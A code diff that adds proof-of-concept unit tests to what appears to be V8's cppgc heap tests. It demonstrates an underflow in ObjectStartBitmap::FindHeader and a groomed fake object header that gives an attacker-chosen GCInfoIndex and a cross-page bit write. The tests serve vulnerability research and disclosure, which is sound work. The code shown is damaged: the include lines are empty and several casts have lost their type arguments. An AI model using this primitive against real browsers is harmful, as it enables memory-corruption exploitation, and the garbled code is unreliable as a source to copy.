diff --git a/test/unittests/heap/cppgc/object-start-bitmap-unittest.cc b/test/unittests/heap/cppgc/object-start-bitmap-unittest.cc index fd8fcd8d54f..8a464708942 100644 --- a/test/unittests/heap/cppgc/object-start-bitmap-unittest.cc +++ b/test/unittests/heap/cppgc/object-start-bitmap-unittest.cc @@ -4,6 +4,9 @@ #include "src/heap/cppgc/object-start-bitmap.h" +#include +#include + #include "include/cppgc/allocation.h" #include "src/base/macros.h" #include "src/base/page-allocator.h" @@ -186,5 +189,116 @@ TEST_F(ObjectStartBitmapTest, FindHeaderSameCell) { bitmap().FindHeader(ObjectAddress(kCellSize - 1))); } +// ----------------------------------------------------------------------------- +// POC: ObjectStartBitmap::FindHeader underflow (CWE-191) +// +// When the backward scan in FindHeader() finds no set bit at or below the +// queried offset, the loop exits with byte == 0 and cell_index == 0. +// CountLeadingZeros(0) == 8, so: +// object_start_number = 0*8 + 7 - 8 = SIZE_MAX +// object_offset = SIZE_MAX * kAllocationGranularity = -8 +// and FindHeader returns reinterpret_cast(page_base - 8), +// i.e. the LAST 8 bytes of the *adjacent* 128 KiB cage slot. +// +// In production this state is reachable on weak-memory hardware (ARM64) via a +// concurrent-marker / Member relaxed-store race; see README. These +// tests deterministically construct the racy state and prove the primitive. +// ----------------------------------------------------------------------------- + +TEST_F(ObjectStartBitmapTest, POC_FindHeaderUnderflowReturnsPageBaseMinus8) { + // Precondition asserted by the test fixture: bitmap is freshly Clear()'d so + // every cell is 0 -- exactly the state the concurrent marker observes when + // it loses the ARM64 store-reorder race against SetBit. + ASSERT_TRUE(IsEmpty()); + + // Query an inner address (mimics the mixin pointer the marker just loaded). + // PayloadStart on a real NormalPage is roughly here; any in-page address + // exercises the same backward scan to cell 0. + constexpr size_t kHint = 600; + HeapObjectHeader* hdr = bitmap().FindHeader( + ObjectAddress(kHint)); + + // BUG: instead of failing or returning something inside the page, FindHeader + // returns page_base - kAllocationGranularity == page_base - 8. + EXPECT_EQ(ObjectHeader(static_cast(-1)), hdr); + EXPECT_EQ(reinterpret_cast
(hdr), + ObjectAddress(0) - kAllocationGranularity); + + fprintf(stderr, + "[POC] page_base = %p, FindHeader(empty bitmap) = %p (delta = %td)\n", + ObjectAddress(0), hdr, + reinterpret_cast
(hdr) - ObjectAddress(0)); +} + +// Demonstrates the *consequence*: page_base-8 lands in writable memory of the +// adjacent page (no guard pages between 128 KiB cage slots) and the bytes +// there are interpreted as a HeapObjectHeader, yielding an attacker-chosen +// GCInfoIndex / FullyConstructed / mark-bit -- the inputs to MarkAndPush. +TEST(ObjectStartBitmapPOC, FindHeaderUnderflowReadsAdjacentPage) { + // Reserve two adjacent kPageSize slots, exactly as CagedHeap places + // NormalPages back-to-back with no guard region in between. + v8::base::PageAllocator allocator; + void* base = allocator.AllocatePages( + nullptr, 2 * kPageSize, kPageSize, + v8::base::PageAllocator::Permission::kReadWrite); + ASSERT_NE(nullptr, base); + + Address page1 = reinterpret_cast
(base); // "groomed" page + Address page2 = page1 + kPageSize; // "fresh" page + + // --- Attacker grooming of the adjacent slot's tail (page1[end-8..end-1]). + // Layout per HeapObjectHeader on 64-bit: + // [+0..+3] next_unfinalized_ / padding + // [+4..+5] encoded_high_ : bits 0-13 GCInfoIndex, bit15 FullyConstructed + // [+6..+7] encoded_low_ : bit0 MarkBit, bits 1-15 size + constexpr GCInfoIndex kAttackerChosenIndex = 0x1337; + // FullyConstructed = 1 so MarkAndPush takes the regular (non-ctor) path. + const uint16_t fake_high = + static_cast(kAttackerChosenIndex | 0x8000u); + // MarkBit = 0 so TryMarkAtomic succeeds and *writes* into adjacent payload. + // Size = 16 (encoded as 16/8 == 2 in bits 1..15). + const uint16_t fake_low = static_cast((16 / kAllocationGranularity) + << 1); + Address fake_hdr_bytes = page2 - sizeof(HeapObjectHeader); // == page1+end-8 + memset(fake_hdr_bytes, 0, sizeof(HeapObjectHeader)); + memcpy(fake_hdr_bytes + 4, &fake_high, 2); + memcpy(fake_hdr_bytes + 6, &fake_low, 2); + + // --- Victim page: empty bitmap (the racy view). + ObjectStartBitmap* bitmap = new (page2) ObjectStartBitmap; + + // --- This is what TraceTraitFromInnerAddressImpl::GetTraceDescriptor / + // ObjectHeaderFromInnerAddressImpl ultimately do: + Address inner = page2 + 4096; // any address inside page2's payload + HeapObjectHeader* hdr = bitmap->FindHeader(inner); + + // The "header" is the attacker-groomed tail of the adjacent page. + ASSERT_EQ(reinterpret_cast
(hdr), fake_hdr_bytes); + ASSERT_EQ(reinterpret_cast
(hdr), page2 - 8); + + // The marker now reads attacker-controlled fields: + EXPECT_EQ(kAttackerChosenIndex, hdr->GetGCInfoIndex()); + EXPECT_FALSE(hdr->IsInConstruction()); + EXPECT_FALSE(hdr->IsMarked()); + // ObjectStart() == page2_base — the value pushed onto the marking worklist. + EXPECT_EQ(page2, hdr->ObjectStart()); + + // ...and TryMarkAtomic performs a 16-bit CAS *write* into page1's payload. + EXPECT_TRUE(hdr->TryMarkAtomic()); + uint16_t observed_low; + memcpy(&observed_low, fake_hdr_bytes + 6, 2); + EXPECT_EQ(fake_low | 0x1, observed_low) + << "mark bit was flipped in the adjacent page's payload"; + + fprintf(stderr, + "[POC] adjacent-page header @ %p : GCInfoIndex=0x%x " + "FullyConstructed=%d ObjectStart=%p -> attacker controls trace " + "callback selection and gets a cross-page bit-write\n", + hdr, hdr->GetGCInfoIndex(), !hdr->IsInConstruction(), + hdr->ObjectStart()); + + allocator.FreePages(base, 2 * kPageSize); +} + } // namespace internal } // namespace cppgc